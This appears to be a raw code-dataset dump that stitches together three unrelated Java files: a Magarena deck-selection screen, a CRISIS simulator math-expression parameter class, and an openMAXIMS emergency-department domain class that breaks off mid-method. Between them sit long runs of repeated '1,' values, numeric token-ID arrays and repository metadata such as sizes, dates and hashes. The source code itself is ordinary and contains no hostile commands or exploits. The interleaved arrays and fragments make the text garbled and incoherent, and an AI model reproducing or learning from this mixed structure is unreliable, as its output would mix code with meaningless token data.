1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1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1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
]
] | 1,136
| true
| 58.237469
| true
| true
|
DecksScreen.java
|
/FileExtraction/Java_unseen/magarena_magarena/src/magic/ui/screen/decks/DecksScreen.java
|
package magic.ui.screen.decks;
import magic.data.MagicIcon;
import magic.translate.MText;
import magic.ui.ScreenController;
import magic.ui.dialog.DecksFilterDialog;
import magic.ui.screen.HeaderFooterScreen;
import magic.ui.screen.MScreen;
import magic.ui.screen.interfaces.IDeckConsumer;
import magic.ui.screen.widget.PlainMenuButton;
import magic.ui.widget.deck.DeckStatusPanel;
@SuppressWarnings("serial")
public class DecksScreen extends HeaderFooterScreen {
// translatable strings
private static final String _S1 = "Decks";
private static final String _S2 = "Cancel";
private static final String _S3 = "Select";
private static final String _S4 = "No deck specified.";
private static final String _S5 = "This deck is invalid.";
private static final String _S6 = "Sample Hand";
private static final String _S7 = "See what kind of Hand you might be dealt from this deck.";
private static final String _S8 = "A deck with a minimum of 7 cards is required first.";
private static final String _S10 = "Deck View";
private static final String _S11 = "Shows complete deck using tiled card images.";
private static final String _S12 = "Deck is empty! Nothing to show.";
private final DecksScreenPanel screenContent;
private final IDeckConsumer deckConsumer;
private final DeckStatusPanel deckStatusPanel;
public DecksScreen(final IDeckConsumer deckConsumer) {
super(MText.get(_S1));
this.deckConsumer = deckConsumer;
deckStatusPanel = new DeckStatusPanel();
screenContent = new DecksScreenPanel(deckStatusPanel);
setMainContent(screenContent);
setHeaderContent(deckStatusPanel);
setLeftFooter(PlainMenuButton.getCloseScreenButton(MText.get(_S2)));
setRightFooter(PlainMenuButton.build(this::doSelectDeck, MText.get(_S3)));
addToFooter(PlainMenuButton.build(this::showSampleHand,
MagicIcon.HAND_ICON, MText.get(_S6), MText.get(_S7)),
PlainMenuButton.build(this::showDeckImageView,
MagicIcon.TILED, MText.get(_S10), MText.get(_S11))
);
}
private void doSelectDeck() {
if (screenContent.getDeck() == null) {
showInvalidActionMessage(MText.get(_S4));
} else {
if (deckConsumer.setDeck(screenContent.getDeck(), screenContent.getDeckPath())) {
ScreenController.closeActiveScreen(false);
}
}
}
private void showSampleHand() {
if (screenContent.getDeck() == null || screenContent.getDeck().size() < 7) {
showInvalidActionMessage(MText.get(_S8));
} else if (!screenContent.getDeck().isValid()) {
showInvalidActionMessage(MText.get(_S5));
} else {
ScreenController.showSampleHandScreen(screenContent.getDeck());
}
}
private void showDeckImageView() {
if (screenContent.getDeck() == null || screenContent.getDeck().isEmpty()) {
showInvalidActionMessage(MText.get(_S12));
} else if (!screenContent.getDeck().isValid()) {
showInvalidActionMessage(MText.get(_S5));
} else {
ScreenController.showDeckTiledCardsScreen(screenContent.getDeck());
}
}
private void showInvalidActionMessage(final String message) {
ScreenController.showWarningMessage(message);
}
@Override
public boolean isScreenReadyToClose(MScreen nextScreen) {
DecksFilterDialog.resetFilterHistory();
return true;
}
}
| 3,566
|
Java
|
.java
|
magarena/magarena
| 402
| 94
| 362
|
2014-01-26T10:14:56Z
|
2023-04-24T03:18:42Z
|
7a3ff072132f5478060b42bac5ae3acc368a7cbcbbb87aff21b48770190a391a
|
[
1337,
17305,
51,
1726,
51,
4475,
51,
305,
13191,
64,
222,
222,
485,
17305,
51,
624,
51,
20199,
2930,
64,
222,
485,
17305,
51,
7407,
51,
82,
1049,
64,
222,
485,
17305,
51,
1726,
51,
4627,
1934,
64,
222,
485,
17305,
51,
1726,
51,
5962,
51,
703,
13191,
2365,
3742,
64,
222,
485,
17305,
51,
1726,
51,
4475,
51,
2661,
13303,
4627,
64,
222,
485,
17305,
51,
1726,
51,
4475,
51,
2758,
2745,
64,
222,
485,
17305,
51,
1726,
51,
4475,
51,
11204,
51,
78,
24736,
9123,
64,
222,
485,
17305,
51,
1726,
51,
4475,
51,
3872,
51,
18707,
2689,
1732,
64,
222,
485,
17305,
51,
1726,
51,
3872,
51,
21272,
51,
24736,
1551,
3686,
64,
222,
222,
69,
14030,
459,
3557,
678,
222,
942,
462,
1531,
13191,
4627,
2041,
10275,
13303,
4627,
320,
465,
453,
1650,
37297,
5872,
303,
964,
924,
1175,
910,
634,
88,
54,
299,
332,
703,
13191,
884,
303,
964,
924,
1175,
910,
634,
88,
55,
299,
332,
7034,
884,
303,
964,
924,
1175,
910,
634,
88,
56,
299,
332,
1926,
884,
303,
964,
924,
1175,
910,
634,
88,
57,
299,
332,
2042,
23714,
3205,
12984,
303,
964,
924,
1175,
910,
634,
88,
58,
299,
332,
2287,
23714,
458,
5549,
12984,
303,
964,
924,
1175,
910,
634,
88,
59,
299,
332,
5209,
17414,
884,
303,
964,
924,
1175,
910,
634,
88,
60,
299,
332,
7496,
2794,
6207,
451,
17414,
863,
4816,
545,
428,
3853,
664,
477,
23714,
12984,
303,
964,
924,
1175,
910,
634,
88,
61,
299,
332,
70,
23714,
642,
331,
9367,
451,
244,
60,
16278,
458,
2147,
1950,
12984,
303,
964,
924,
1175,
910,
634,
88,
54,
53,
299,
332,
24736,
4340,
884,
303,
964,
924,
1175,
910,
634,
88,
54,
54,
299,
332,
46823,
6179,
23714,
1493,
292,
1938,
3649,
5753,
12984,
303,
964,
924,
1175,
910,
634,
88,
54,
55,
299,
332,
24736,
458,
3517,
38,
11827,
391,
2539,
12984,
465,
964,
1175,
1531,
13191,
4627,
3686,
4820,
1795,
64,
303,
964,
1175,
457,
24736,
9123,
23714,
9123,
64,
303,
964,
1175,
49012,
1551,
3686,
23714,
1551,
3686,
64,
465,
581,
1531,
13191,
4627,
45,
3242,
457,
24736,
9123,
23714,
9123,
46,
320,
310,
2615,
45,
82,
1049,
51,
390,
2191,
88,
54,
894,
310,
477,
51,
21272,
9123,
299,
23714,
9123,
64,
310,
23714,
1551,
3686,
299,
556,
49012,
1551,
3686,
492,
310,
4820,
1795,
299,
556,
1531,
13191,
4627,
3686,
45,
21272,
1551,
3686,
312,
310,
758,
4370,
1795,
45,
4475,
1795,
312,
310,
758,
2661,
1795,
45,
21272,
1551,
3686,
312,
310,
758,
3695,
13303,
45,
18707,
2689,
1732,
51,
390,
4187,
4627,
1732,
45,
82,
1049,
51,
390,
2191,
88,
55,
4254,
310,
758,
4058,
13303,
45,
18707,
2689,
1732,
51,
1848,
45,
597,
422,
1428,
1926,
24736,
49,
507,
1049,
51,
390,
2191,
88,
56,
4254,
310,
33625,
13303,
45,
18707,
2689,
1732,
51,
1848,
45,
597,
422,
2276,
5209,
6812,
49,
733,
25839,
2930,
51,
8876,
100,
18566,
49,
507,
1049,
51,
390,
2191,
88,
59,
490,
507,
1049,
51,
390,
2191,
88,
60,
3684,
419,
37217,
2689,
1732,
51,
1848,
45,
597,
422,
2276,
24736,
16649,
49,
733,
25839,
2930,
51,
1944,
10334,
49,
507,
1049,
51,
390,
2191,
88,
54,
53,
490,
507,
1049,
51,
390,
2191,
88,
54,
54,
509,
310,
1110,
303,
339,
465,
964,
782,
764,
1926,
24736,
365,
320,
310,
434,
327,
4475,
1795,
51,
390,
24736,
365,
630,
762,
46,
320,
343,
2539,
3828,
1728,
1193,
45,
82,
1049,
51,
390,
2191,
88,
57,
894,
310,
339,
832,
320,
343,
434,
327,
21272,
9123,
51,
489,
24736,
45,
4475,
1795,
51,
390,
24736,
1046,
4820,
1795,
51,
390,
24736,
1233,
5183,
320,
419,
14209,
1934,
51,
2698,
4091,
4627,
45,
1886,
312,
343,
339,
310,
339,
303,
339,
465,
964,
782,
2539,
5209,
6812,
365,
320,
310,
434,
327,
4475,
1795,
51,
390,
24736,
365,
630,
762,
1293,
4820,
1795,
51,
390,
24736,
941,
911,
365,
350,
244,
60,
46,
320,
343,
2539,
3828,
1728,
1193,
45,
82,
1049,
51,
390,
2191,
88,
61,
894,
310,
339,
832,
434,
1445,
4475,
1795,
51,
390,
24736,
941,
13431,
1177,
320,
343,
2539,
3828,
1728,
1193,
45,
82,
1049,
51,
390,
2191,
88,
58,
894,
310,
339,
832,
320,
343,
14209,
1934,
51,
2276,
5209,
6812,
4627,
45,
4475,
1795,
51,
390,
24736,
1052,
310,
339,
303,
339,
465,
964,
782,
2539,
24736,
16649,
365,
320,
310,
434,
327,
4475,
1795,
51,
390,
24736,
365,
630,
762,
1293,
4820,
1795,
51,
390,
24736,
941,
6401,
1177,
320,
343,
2539,
3828,
1728,
1193,
45,
82,
1049,
51,
390,
2191,
88,
54,
55,
894,
310,
339,
832,
434,
1445,
4475,
1795,
51,
390,
24736,
941,
13431,
1177,
320,
343,
2539,
3828,
1728,
1193,
45,
82,
1049,
51,
390,
2191,
88,
58,
894,
310,
339,
832,
320,
343,
14209,
1934,
51,
2276,
24736,
89,
1938,
13301,
4627,
45,
4475,
1795,
51,
390,
24736,
1052,
310,
339,
303,
339,
465,
964,
782,
2539,
3828,
1728,
1193,
45,
3242,
910,
1492,
46,
320,
310,
14209,
1934,
51,
2276,
5722,
1193,
45,
1454,
312,
303,
339,
465,
496,
1806,
303,
581,
1922,
458,
4627,
10590,
724,
4187,
45,
2758,
2745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1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
]
] | 886
| true
| 66.741447
| true
| true
|
FromMathExpressionDoubleModelParameterConfiguration.java
|
/FileExtraction/Java_unseen/crisis-economics_CRISIS/CRISIS/src/eu/crisis_economics/abm/model/configuration/FromMathExpressionDoubleModelParameterConfiguration.java
|
/*
* This file is part of CRISIS, an economics simulator.
*
* Copyright (C) 2015 John Kieran Phillips
*
* CRISIS is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* CRISIS is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with CRISIS. If not, see <http://www.gnu.org/licenses/>.
*/
package eu.crisis_economics.abm.model.configuration;
import com.google.common.base.Preconditions;
import com.google.inject.Singleton;
import com.google.inject.TypeLiteral;
import com.google.inject.name.Names;
import eu.crisis_economics.abm.model.ConfigurationComponent;
import eu.crisis_economics.abm.model.Layout;
import eu.crisis_economics.abm.model.configuration.AbstractPrimitiveParameterConfiguration
.AbstractDoubleModelParameterConfiguration;
import eu.crisis_economics.abm.model.parameters.FromMathExpressionDoubleParameter;
import eu.crisis_economics.abm.model.parameters.ModelParameter;
import eu.crisis_economics.abm.simulation.injection.factories.InjectionFactoryUtils;
@ConfigurationComponent(
DisplayName = "Expression",
Description =
"A model parameter (with floating point value) parsed from an expression, E(X). This model "
+ "parameter accepts a string representation of a univariate function as input. The function "
+ "is fully customizable."
)
public final class FromMathExpressionDoubleModelParameterConfiguration
extends AbstractDoubleModelParameterConfiguration
implements SampledDoubleModelParameterConfiguration,
TimeseriesDoubleModelParameterConfiguration {
private final static String
DEFAULT_MATH_EXPRESSION = "X",
DEFAULT_VARIABLE_NAME = "X";
@Layout(
FieldName = "Expression",
VerboseDescription = "The mathematical expression (E) to parse",
Order = 0.0
)
private String
mathExpression;
@Layout(
FieldName = "Variable Name",
VerboseDescription = "The variable X with respect to which E is a univariate function.",
Order = 0.1
)
private String
variableName;
/**
* Create a {@link FromMathExpressionDoubleModelParameterConfiguration} object with
* custom parameters.
*
* @param mathExpression (<code>E</code>)<br>
* A mathematical expression to parse. This expression should be a univariate
* function of a variable <code>X</code>. The name of <code>X</code> is
* configurable using the next argument.
* @param variabeName (<code>X</code>)<br>
* The name of the variable with respect to which <code>E</code> is a
* univariate function <code>E(X)</code>.
*/
public FromMathExpressionDoubleModelParameterConfiguration(
final String mathExpression,
final String variabeName
) {
this.mathExpression = Preconditions.checkNotNull(mathExpression);
this.variableName = Preconditions.checkNotNull(variabeName);
}
/**
* Create a {@link FromMathExpressionDoubleModelParameterConfiguration} object with
* default parameters.
*/
public FromMathExpressionDoubleModelParameterConfiguration() {
this(DEFAULT_MATH_EXPRESSION, DEFAULT_VARIABLE_NAME);
}
public String getMathExpression() {
return mathExpression;
}
public void setMathExpression(
String mathExpression) {
this.mathExpression = mathExpression;
}
public String getVariableName() {
return variableName;
}
public void setVariableName(
String variableName) {
this.variableName = variableName;
}
@Override
protected void assertParameterValidity() {
Preconditions.checkArgument(
!mathExpression.isEmpty(), toParameterValidityErrMsg("expression must be nonempty."));
Preconditions.checkArgument(
!variableName.isEmpty(), toParameterValidityErrMsg("variable name must be nonempty."));
}
@Override
protected void addBindings() {
super.addBindings();
bind(
new TypeLiteral<ModelParameter<Double>>(){})
.annotatedWith(Names.named(getScopeString()))
.to(FromMathExpressionDoubleParameter.class)
.in(Singleton.class);
install(InjectionFactoryUtils.asPrimitiveParameterModule(
"FROM_MATH_EXPRESSION_DOUBLE_MODEL_PARAMETER_EXPRESSION", mathExpression,
"FROM_MATH_EXPRESSION_DOUBLE_MODEL_VARIABLE_NAME", variableName,
"FROM_MATH_EXPRESSION_DOUBLE_MODEL_PARAMETER_NAME", getScopeString()
));
expose(
new TypeLiteral<ModelParameter<Double>>(){})
.annotatedWith(Names.named(getScopeString()));
}
private static final long serialVersionUID = 2625598671671566077L;
}
| 5,136
|
Java
|
.java
|
crisis-economics/CRISIS
| 22
| 14
| 0
|
2015-03-09T12:22:42Z
|
2015-10-31T23:57:12Z
|
fda516ddb20f9e9b867bfe4f1c594d8bd17118ba9b1f7fa596420d58bb6439bc
|
[
1127,
222,
338,
1369,
822,
458,
1760,
451,
9975,
1309,
1309,
49,
619,
32885,
1339,
27154,
51,
222,
338,
1676,
338,
2657,
327,
72,
46,
244,
55,
53,
54,
58,
21588,
1242,
2506,
297,
5821,
6634,
1088,
222,
338,
222,
338,
9975,
1309,
1309,
458,
3760,
2951,
63,
863,
902,
14081,
580,
480,
52,
290,
5370,
222,
338,
580,
1549,
341,
5974,
451,
341,
6994,
6153,
5062,
1196,
641,
9582,
829,
222,
338,
341,
7834,
3870,
7120,
49,
3173,
1522,
244,
56,
451,
341,
1196,
49,
575,
222,
338,
327,
288,
1390,
2489,
46,
1364,
6146,
1522,
51,
222,
338,
222,
338,
9975,
1309,
1309,
458,
2744,
347,
341,
9850,
708,
580,
1118,
545,
6386,
49,
222,
338,
1294,
4213,
2979,
9345,
64,
2895,
4462,
341,
4506,
14319,
451,
222,
338,
7934,
575,
8114,
4800,
418,
7848,
7763,
51,
244,
2819,
341,
222,
338,
6994,
6153,
5062,
1196,
456,
1851,
4261,
51,
222,
338,
222,
338,
2469,
1414,
1178,
6589,
331,
1948,
451,
341,
6994,
6153,
5062,
1196,
222,
338,
7979,
642,
9975,
1309,
1309,
51,
244,
1691,
666,
49,
2337,
350,
544,
574,
1516,
51,
10627,
51,
1107,
52,
4205,
28699,
222,
588,
222,
1337,
14604,
51,
2465,
26013,
100,
47936,
1339,
51,
380,
114,
51,
1184,
51,
5990,
64,
222,
222,
485,
785,
51,
2193,
51,
2297,
51,
1460,
51,
36329,
64,
222,
485,
785,
51,
2193,
51,
10287,
51,
15948,
64,
222,
485,
785,
51,
2193,
51,
10287,
51,
638,
8216,
64,
222,
485,
785,
51,
2193,
51,
10287,
51,
444,
51,
4128,
64,
222,
222,
485,
14604,
51,
2465,
26013,
100,
47936,
1339,
51,
380,
114,
51,
1184,
51,
2339,
1735,
64,
222,
485,
14604,
51,
2465,
26013,
100,
47936,
1339,
51,
380,
114,
51,
1184,
51,
2362,
64,
222,
485,
14604,
51,
2465,
26013,
100,
47936,
1339,
51,
380,
114,
51,
1184,
51,
5990,
51,
5597,
12216,
3026,
2339,
682,
657,
5597,
4090,
1262,
3026,
2339,
64,
222,
485,
14604,
51,
2465,
26013,
100,
47936,
1339,
51,
380,
114,
51,
1184,
51,
5173,
51,
1811,
5728,
3503,
4090,
3026,
64,
222,
485,
14604,
51,
2465,
26013,
100,
47936,
1339,
51,
380,
114,
51,
1184,
51,
5173,
51,
1262,
3026,
64,
222,
485,
14604,
51,
2465,
26013,
100,
47936,
1339,
51,
380,
114,
51,
22722,
51,
31894,
51,
42007,
51,
18772,
2232,
2769,
64,
222,
222,
69,
2339,
1735,
45,
682,
48642,
299,
332,
3503,
411,
682,
5602,
299,
416,
332,
70,
1573,
3416,
327,
1814,
15398,
2282,
804,
46,
8450,
664,
619,
6112,
49,
535,
45,
93,
566,
1369,
1573,
332,
303,
494,
332,
5616,
19224,
331,
821,
10323,
451,
331,
725,
28206,
686,
641,
1533,
51,
906,
686,
332,
303,
494,
332,
316,
12114,
3137,
6776,
3128,
682,
848,
222,
942,
1175,
462,
8674,
5728,
3503,
4090,
1262,
3026,
2339,
682,
2041,
7406,
4090,
1262,
3026,
2339,
682,
4584,
12169,
105,
4090,
1262,
3026,
2339,
49,
8586,
3734,
8481,
4090,
1262,
3026,
2339,
320,
19918,
964,
1175,
924,
910,
416,
4050,
100,
42769,
100,
43246,
299,
332,
93,
411,
416,
4050,
100,
22346,
100,
2491,
299,
332,
93,
884,
19918,
496,
2362,
45,
416,
5697,
577,
299,
332,
3503,
411,
416,
5788,
5548,
3250,
299,
332,
1338,
47738,
6112,
327,
74,
46,
391,
3203,
411,
416,
7700,
299,
244,
53,
51,
53,
416,
848,
682,
964,
910,
416,
7820,
3503,
64,
682,
496,
2362,
45,
416,
5697,
577,
299,
332,
3836,
3286,
411,
416,
5788,
5548,
3250,
299,
332,
1338,
2702,
1618,
642,
10198,
391,
1532,
535,
458,
331,
725,
28206,
686,
4429,
416,
7700,
299,
244,
53,
51,
54,
416,
848,
682,
964,
910,
416,
2702,
577,
64,
19918,
1041,
294,
338,
2673,
331,
3105,
1222,
8674,
5728,
3503,
4090,
1262,
3026,
2339,
130,
1319,
642,
294,
338,
3137,
3406,
51,
294,
338,
5402,
338,
496,
772,
7820,
3503,
11310,
707,
67,
74,
396,
707,
5111,
65,
858,
67,
294,
338,
370,
418,
47738,
6112,
391,
3203,
51,
1369,
6112,
1414,
545,
331,
725,
28206,
5402,
338,
370,
686,
451,
331,
2702,
350,
707,
67,
93,
396,
707,
4513,
906,
655,
451,
350,
707,
67,
93,
396,
707,
67,
458,
5402,
338,
370,
20643,
1493,
341,
2371,
2814,
51,
294,
338,
496,
772,
10054,
9234,
577,
11310,
707,
67,
93,
396,
707,
5111,
65,
858,
67,
294,
338,
370,
906,
655,
451,
341,
2702,
642,
10198,
391,
1532,
350,
707,
67,
74,
396,
707,
67,
458,
331,
294,
338,
370,
725,
28206,
686,
350,
707,
67,
74,
45,
93,
2891,
707,
4513,
294,
588,
682,
581,
8674,
5728,
3503,
4090,
1262,
3026,
2339,
45,
416,
1175,
910,
7820,
3503,
49,
416,
1175,
910,
10054,
9234,
577,
416,
848,
320,
416,
477,
51,
3851,
3503,
299,
40554,
51,
42657,
45,
3851,
3503,
312,
416,
477,
51,
4521,
577,
299,
40554,
51,
42657,
45,
10014,
9234,
577,
312,
682,
339,
19918,
1041,
294,
338,
2673,
331,
3105,
1222,
8674,
5728,
3503,
4090,
1262,
3026,
2339,
130,
1319,
642,
294,
338,
1263,
3406,
51,
294,
588,
682,
581,
8674,
5728,
3503,
4090,
1262,
3026,
2339,
365,
320,
416,
477,
45,
5815,
100,
42769,
100,
43246,
49,
4050,
100,
22346,
100,
2491,
312,
682,
339,
19918,
581,
910,
640,
5728,
3503,
365,
320,
416,
461,
7820,
3503,
64,
682,
339,
19918,
581,
782,
758,
5728,
3503,
45,
416,
910,
7820,
3503,
46,
320,
416,
477,
51,
3851,
3503,
299,
7820,
3503,
64,
682,
339,
19918,
581,
910,
640,
3836,
577,
365,
320,
416,
461,
2702,
577,
64,
682,
339,
19918,
581,
782,
758,
3836,
577,
45,
416,
910,
2702,
577,
46,
320,
416,
477,
51,
4521,
577,
299,
2702,
577,
64,
682,
339,
19918,
496,
1806,
682,
2532,
782,
1217,
3026,
34544,
365,
320,
416,
40554,
51,
1571,
3501,
45,
295,
673,
3851,
3503,
51,
6401,
1046,
391,
3026,
34544,
45314,
459,
7681,
2315,
545,
4919,
1659,
34167,
416,
40554,
51,
1571,
3501,
45,
295,
673,
4521,
577,
51,
6401,
1046,
391,
3026,
34544,
45314,
459,
4521,
655,
2315,
545,
4919,
1659,
34167,
682,
339,
19918,
496,
1806,
682,
2532,
782,
1035,
17391,
365,
320,
416,
2615,
51,
688,
17391,
492,
416,
5119,
45,
295,
556,
2782,
8216,
65,
1262,
3026,
65,
4090,
2023,
3261,
1770,
295,
657,
43761,
1569,
45,
4128,
51,
9298,
45,
390,
5518,
671,
5183,
295,
657,
471,
45,
1811,
5728,
3503,
4090,
3026,
51,
842,
46,
295,
657,
285,
45,
15948,
51,
842,
312,
416,
2462,
45,
18772,
2232,
2769,
51,
321,
12216,
3026,
2478,
45,
295,
332,
9077,
100,
42769,
100,
43246,
100,
15774,
100,
14607,
100,
13302,
100,
43246,
411,
7820,
3503,
49,
295,
332,
9077,
100,
42769,
100,
43246,
100,
15774,
100,
14607,
100,
22346,
100,
2491,
411,
370,
2702,
577,
49,
295,
332,
9077,
100,
42769,
100,
43246,
100,
15774,
100,
14607,
100,
13302,
100,
2491,
411,
981,
640,
5518,
671,
365,
295,
11979,
416,
21946,
45,
295,
556,
2782,
8216,
65,
1262,
3026,
65,
4090,
2023,
3261,
1770,
295,
657,
43761,
1569,
45,
4128,
51,
9298,
45,
390,
5518,
671,
5086,
682,
339,
19918,
964,
924,
1175,
1964,
19896,
299,
244,
55,
59,
55,
58,
58,
62,
61,
59,
60,
54,
59,
60,
54,
58,
59,
59,
53,
60,
60,
81,
64,
222,
130,
222
] |
[
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,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
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
]
] | 1,198
| true
| 70.67757
| true
| true
|
EDSeenByAndCompleteDialogImpl.java
|
/FileExtraction/Java_unseen/IMS-MAXIMS_openMAXIMS/Source Library/openmaxims_workspace-archive/Emergency/src/ims/emergency/domain/impl/EDSeenByAndCompleteDialogImpl.java
|
//#############################################################################
//# #
//# Copyright (C) <2014> <IMS MAXIMS> #
//# #
//# This program is free software: you can redistribute it and/or modify #
//# it under the terms of the GNU Affero General Public License as #
//# published by the Free Software Foundation, either version 3 of the #
//# License, or (at your option) any later version. #
//# #
//# This program is distributed in the hope that it will be useful, #
//# but WITHOUT ANY WARRANTY; without even the implied warranty of #
//# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the #
//# GNU Affero General Public License for more details. #
//# #
//# You should have received a copy of the GNU Affero General Public License #
//# along with this program. If not, see <http://www.gnu.org/licenses/>. #
//# #
//#############################################################################
//#EOH
// This code was generated by Florin Blindu using IMS Development Environment (version 1.80 build 4785.23502)
// Copyright (C) 1995-2013 IMS MAXIMS. All rights reserved.
package ims.emergency.domain.impl;
import ims.core.admin.vo.CareContextRefVo;
import ims.domain.DomainFactory;
import ims.domain.exceptions.DomainRuntimeException;
import ims.domain.exceptions.StaleObjectException;
import ims.emergency.domain.base.impl.BaseEDSeenByAndCompleteDialogImpl;
import ims.emergency.domain.objects.SeenByHCP;
import ims.emergency.domain.objects.Tracking;
import ims.emergency.vo.SeenByHCPVo;
import ims.emergency.vo.TrackingForSeenByHCPVo;
import ims.emergency.vo.domain.EmergencyAttendanceForTrackingVoAssembler;
import ims.emergency.vo.domain.SeenByHCPVoAssembler;
import ims.emergency.vo.domain.TrackingForSeenByHCPVoAssembler;
import ims.framework.exceptions.CodingRuntimeException;
import java.util.List;
public class EDSeenByAndCompleteDialogImpl extends BaseEDSeenByAndCompleteDialogImpl
{
private static final long serialVersionUID = 1L;
public ims.emergency.vo.SeenByHCPVoCollection getAllSeenByHCP(ims.core.admin.vo.CareContextRefVo careContextRef)
{
if (careContextRef == null || careContextRef.getID_CareContext() == null)
{
throw new CodingRuntimeException("Cannot get SeenByHCPVoCollection on null Id for CareContext ");
}
DomainFactory factory = getDomainFactory();
StringBuffer hql = new StringBuffer();
hql.append("select allSeenBy from SeenByHCP as allSeenBy where allSeenBy.attendance.id = :attID order by allSeenBy.allocatedDateTime desc ");
List<?> list = factory.find(hql.toString(), new String[] { "attID" }, new Object[] { careContextRef.getID_CareContext() });
return SeenByHCPVoAssembler.createSeenByHCPVoCollectionFromSeenByHCP(list);
}
public ims.emergency.vo.SeenByHCPVo getSeenByHCP(ims.emergency.vo.SeenByHCPRefVo seenByHCP)
{
if (seenByHCP == null || seenByHCP.getID_SeenByHCP() == null)
{
throw new CodingRuntimeException("Cannot get SeenByHCPVo on null Id ");
}
DomainFactory factory = getDomainFactory();
SeenByHCP domainSeenBy = (SeenByHCP) factory.getDomainObject(SeenByHCP.class, seenByHCP.getID_SeenByHCP());
return SeenByHCPVoAssembler.create(domainSeenBy);
}
public SeenByHCPVo save(SeenByHCPVo seenByHcpToSave, TrackingForSeenByHCPVo trackingToSave, SeenByHCPVo seenByHcpMustSavedAsCompleted) throws StaleObjectException
{
if (seenByHcpToSave == null && trackingToSave == null)
throw new CodingRuntimeException("Cannot save null ReferralToSpecialtyTeamVo or TrackingForReferalToSpecialtyVo ");
DomainFactory factory = getDomainFactory();
if (seenByHcpMustSavedAsCompleted!=null)
{
SeenByHCP domainSeenByHcpCompleted = SeenByHCPVoAssembler.extractSeenByHCP(factory, seenByHcpMustSavedAsCompleted);
factory.save(domainSeenByHcpCompleted);
}
